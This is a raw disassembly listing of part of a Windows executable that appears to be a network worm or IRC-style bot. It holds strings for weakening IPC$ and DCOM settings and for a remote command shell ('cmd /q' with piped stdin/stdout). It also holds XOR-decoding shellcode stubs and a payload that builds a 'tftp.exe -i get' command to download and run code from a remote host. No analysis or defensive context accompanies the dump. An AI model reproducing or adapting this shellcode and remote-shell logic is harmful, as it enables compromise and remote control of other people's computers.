		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_4337DC	db    2			; DATA XREF: sub_4162AC:loc_4163B5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_433820	db    2			; DATA XREF: sub_4162AC+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43386C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AC:loc_416319o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_433898	db    2			; DATA XREF: sub_4162AC+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4338CC	dw 59h			; DATA XREF: sub_4162AC+38r
		align 10h
dword_4338D0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_433914	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+59o
					; sub_4165C6+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43396C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4339A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_4339F4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_433A44	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416810+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_416810+8Co
		align 10h
dword_433A90	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E9+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4


loc_433ADC:				; DATA XREF: sub_416C55+C4o
		jmp	short loc_433AE0
; ---------------------------------------------------------------------------


loc_433ADE:				; CODE XREF: ___:loc_433AE0p
		jmp	short loc_433AE5
; ---------------------------------------------------------------------------


loc_433AE0:				; CODE XREF: ___:loc_433ADCj
		call	loc_433ADE


loc_433AE5:				; CODE XREF: ___:loc_433ADEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_433AEA	dw 0FFFFh		; DATA XREF: sub_416C55+CCw
		db 80h,	73h, 0Eh
byte_433AEF	db 0FFh			; DATA XREF: sub_416C55+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_433AF4:				; DATA XREF: sub_416C55+A2o
		jmp	short loc_433AF8
; ---------------------------------------------------------------------------


loc_433AF6:				; CODE XREF: ___:loc_433AF8p
		jmp	short loc_433AFD
; ---------------------------------------------------------------------------


loc_433AF8:				; CODE XREF: ___:loc_433AF4j
		call	loc_433AF6


loc_433AFD:				; CODE XREF: ___:loc_433AF6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_433B01	db 0FFh			; DATA XREF: sub_416C55+AAw
		dw 7380h
		db 0Ch
byte_433B05	db 0FFh			; DATA XREF: sub_416C55+B0w
		dw 0E243h
		dd 0F9h
dword_433B0C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADE+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_433B70	dd 12h			; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADE+79o
aJ		db 'j',0
		db 0E8h
dword_433B89	dd 17h			; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_433B90
		retn
; ---------------------------------------------------------------------------
byte_433B90	db 0E8h			; CODE XREF: ___:00433B8Dj
dword_433B91	dd 1			; DATA XREF: sub_416ADE+45w
byte_433B95	db 0, 6Ah, 0		; DATA XREF: sub_416ADE+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_433B9F	dd 0FFFFFFEDh		; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_433C20	dd 29E2C0h		; DATA XREF: sub_417302+4w sub_41730Cr ...
		align 10h
dword_433C30	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_433C3C	dd offset sub_417D73	; DATA XREF: ___:00419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_433C48	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_433C4C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_433C60	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_433C64	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_433C68	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_433C6C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_433C70	dd offset word_433C7A	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_433C74	dd offset word_433C7A	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_433C7A	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_433C70o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_433E7C	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_433E80	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_433E90	dd offset off_433E90	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_433E94	dd offset off_433E90	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_433EA8
		dd offset dword_433EA8
dword_433EA0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_433EA8	dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF:	___:00433E98o
					; ___:00433E9Co
		db 0
byte_435249	db 3 dup(0)		; DATA XREF: ___:off_4274DCo
		dd 319h	dup(0)
off_435EB0	dd offset off_433E90	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_435EB4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_435EB8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_435EBC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_435F90	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_435FA0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_435FB8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_435FC4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_435FD0	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_435FD4	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_435FD8	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_435FDC	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_435FE0	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_435FE4	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_435FF4	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_435FF8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_436000	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_436008	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_436010	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_436014	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_436020	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_436100	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_436104	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_436268	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43626C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4362E0	dd 3			; DATA XREF: ___:0041F003r
					; sub_421C3C+C8r
dword_4362E4	dd 7			; DATA XREF: ___:0041F009r
					; sub_421C3C+CDr
dword_4362E8	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_4362EC	dd 8Ch			; DATA XREF: ___:0041F02Dr
					; ___:0041F03Aw ...
dword_4362F0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_4362F8	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_4362FC	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_436388	dd offset dword_4CDCC0	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_4CDCC0
		dd 101h
dword_436398	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_4363A8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4363C8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4363F8	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_436608	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_436610	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_436628	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_436640	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_436644	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_436648	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43664C	dd offset loc_54534E+2	; DATA XREF: ___:off_4366CCo
		dd 0Fh dup(0)
off_43668C	dd offset aMBAvMbBskh	; DATA XREF: ___:off_4366D0o
					; "M)ÂêV´MÂ]=ÊbéªH"
		dd 0Fh dup(0)
off_4366CC	dd offset off_43664C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_4366D0	dd offset off_43668C	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_4366D8	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_4366DC	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_4366E0	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_4366E8	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_4366EC	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_4366F0	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_4366F4	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_436724	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_436728	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_436760	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4368C0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_436A1C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_436A34	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_436A54	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_436A74	dd offset off_424D00	; DATA XREF: ___:off_424E24o
					; ___:00424E68o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_436A98	dd offset off_424D00	; DATA XREF: ___:off_424E70o
					; ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_436AB8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_436ABA	dw 0			; DATA XREF: sub_40144A+1E3w
word_436ABC	dw 0			; DATA XREF: sub_40144A+1E9w
word_436ABE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_436AC0	db 0			; DATA XREF: sub_40144A+1F7w
byte_436AC1	db 0			; DATA XREF: sub_40144A+1FEw
word_436AC2	dw 0			; DATA XREF: sub_40144A+204w
dword_436AC4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_436AC8	dd 0			; DATA XREF: sub_40144A+258w
byte_436ACC	db 0			; DATA XREF: sub_40144A+26Aw
byte_436ACD	db 0			; DATA XREF: sub_40144A+27Dw
word_436ACE	dw 0			; DATA XREF: sub_40144A+295w
word_436AD0	dw 0			; DATA XREF: sub_40144A+2A4w
word_436AD2	dw 0			; DATA XREF: sub_40144A+29Cw
dword_436AD4	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_436ED8	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_436EDC	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_436EE0	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_436EEC	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_436EF4	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Do ...
dword_436EF8	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_436F00	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_436F08	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_436F0C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_436F18	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_436F1C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 7FEh	dup(0)
dword_438F18	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_438F30	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_438F34	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_439038	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43913C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_439140	dd 0			; DATA XREF: sub_407252+52w
dword_439144	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_439148	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_4391C8	dd 0			; DATA XREF: sub_407252+8Fw
dword_4391CC	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_4391D0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_4391D8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_4391DC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_439464	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_439568	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_439570	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_439574	dd 0			; DATA XREF: sub_407252+2E7w
dword_439578	dd 0			; DATA XREF: sub_407252+2F4w
dword_43957C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_439584	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_439588	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43958C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_439690	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_439794	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_439798	dd 0			; DATA XREF: sub_407252+171w
dword_43979C	dd 0			; DATA XREF: sub_407252+1EEr
dword_4397A0	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_439820	dd 0			; DATA XREF: sub_407252+1AEw
dword_439824	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_439828	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_439830	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_439838	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_439A38	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43A238	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43AA38	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43AA3C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43AA40	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43AA44	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43AA48	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43AC48	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43AC50	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43AC54	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43AC58	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43AC5C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43AC60	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43AC64	dd 0			; DATA XREF: sub_40981F+65w
					; sub_41518A+F5r
dword_43AC68	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43AC6C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43AC70	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43AC74	dd 0			; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
dword_43AC78	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43AC7C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43AC80	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43AC84	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43AC88	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43AC8C	dd 0			; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43AC90	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
